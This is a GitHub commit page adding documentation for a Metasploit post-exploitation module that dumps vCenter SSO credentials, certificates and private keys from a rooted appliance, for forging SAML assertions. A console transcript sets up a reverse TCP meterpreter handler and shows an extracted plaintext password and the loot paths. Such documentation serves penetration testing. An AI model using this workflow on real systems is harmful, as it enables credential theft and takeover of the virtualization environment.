Skip to content

Commit 37af434

Browse files
Add vcenter_secrets_dump post module
1 parent e927da2 commit 37af434

File tree

2 files changed

+504
-0
lines changed

2 files changed

+504
-0
lines changed
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
Grab secrets and keys from the vCenter server and add them to loot. Secrets include the dcAccountDN
2+
and dcAccountPassword for the vCenter machine which can be used for maniuplating the SSO domain via
3+
standard LDAP interface; good for plugging into the vmware_vcenter_vmdir_ldap module or for adding
4+
new SSO admin users. The MACHINE_SSL, VMCA_ROOT and SSO IdP certificates with assocaited private keys
5+
are also plundered and can be used to sign forged SAML assertions for the /ui admin interface.
6+
7+
## Vulnerable Application
8+
This module is tested against the vCenter appliance only; it will not work on Windows vCenter
9+
instances. It is intended to be run after successfully acquiring root access on a vCenter appliance
10+
and is useful for penetrating further into the environment following a vCenter exploit that results
11+
in a root shell. This module has been tested against vCenter appliance versions 7.0 and 6.7 but will
12+
probably work against other versions of vCenter appliance.
13+
14+
## Verification Steps
15+
This is a post module and requires a meterpreter or shell session on the vCenter appliance with root
16+
access.
17+
18+
1. Start msfconsole
19+
2. Get session on vCenter appliance via exploit of your choice and background it
20+
3. Do: `use post/linux/gather/vcenter_secrets_dump`
21+
4. Do: `set session <session>`
22+
15. Do: `dump`
23+
24+
## Options
25+
**SESSION**
26+
27+
Which session to use, which can be viewed with `sessions -l`
28+
29+
## Scenarios
30+
Example run from meterpreter session on vCenter appliance version 7.0.2
31+
32+
```
33+
msf6 > use multi/handler
34+
set payload linux/x86/meterpreter/reverse_tcp
35+
[*] Using configured payload generic/shell_reverse_tcp
36+
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
37+
payload => linux/x86/meterpreter/reverse_tcp
38+
set LPORT 4444
39+
msf6 exploit(multi/handler) > set LHOST 192.168.101.10
40+
LHOST => 192.168.101.10
41+
msf6 exploit(multi/handler) > set LPORT 4444
42+
LPORT => 4444
43+
msf6 exploit(multi/handler) > exploit
44+
45+
[*] Started reverse TCP handler on 192.168.101.10:4444
46+
[*] Sending stage (989032 bytes) to 192.168.100.11
47+
[*] Meterpreter session 1 opened (192.168.101.10:4444 -> 192.168.100.11:53410 ) at 2022-04-17 19:04:00 -0400
48+
49+
meterpreter > bg
50+
[*] Backgrounding session 1...
51+
msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump
52+
msf6 post(linux/gather/vcenter_secrets_dump) > set session 1
53+
session => 1
54+
msf6 post(linux/gather/vcenter_secrets_dump) > dump
55+
56+
[*] Gathering vSphere SSO Domain Information ...
57+
[*] Extracting dcAccountDN and dcAccountPassword via lwregshell on local vCenter ...
58+
[+] vSphere SSO DC DN: cn=vcenter.cesium137.io,ou=Domain Controllers,dc=vsphere,dc=local
59+
[+] vSphere SSO DC PW: St"7qMYCj)V#PnwS\mw2
60+
[*] Extracting certificates from vSphere platform ...
61+
[*] Fetching objectclass=vmwSTSTenantCredential via vmdir LDAP ...
62+
[*] Parsing vmwSTSTenantCredential certificates and keys ...
63+
[*] Validated vSphere SSO IdP certificate against vSphere IDM tenant certificate
64+
[+] => CHA-CHING! <=
65+
[+] MACHINE_SSL_KEY: /home/cs137/.msf4/loot/20220417190437_default_192.168.100.11_ssl_120856.key
66+
[+] MACHINE_SSL_CERT: /home/cs137/.msf4/loot/20220417190437_default_192.168.100.11_ssl_144111.pem
67+
[+] VMCA_ROOT_KEY: /home/cs137/.msf4/loot/20220417190437_default_192.168.100.11_vmca_345006.key
68+
[+] VMCA_ROOT_CERT: /home/cs137/.msf4/loot/20220417190437_default_192.168.100.11_vmca_676785.pem
69+
[+] SSO_STS_IDP_KEY: /home/cs137/.msf4/loot/20220417190437_default_192.168.100.11_idp_668987.key
70+
[+] SSO_STS_IDP_CERT: /home/cs137/.msf4/loot/20220417190437_default_192.168.100.11_idp_126310.pem
71+
[*] Post module execution completed
72+
```

0 commit comments

Comments
 (0)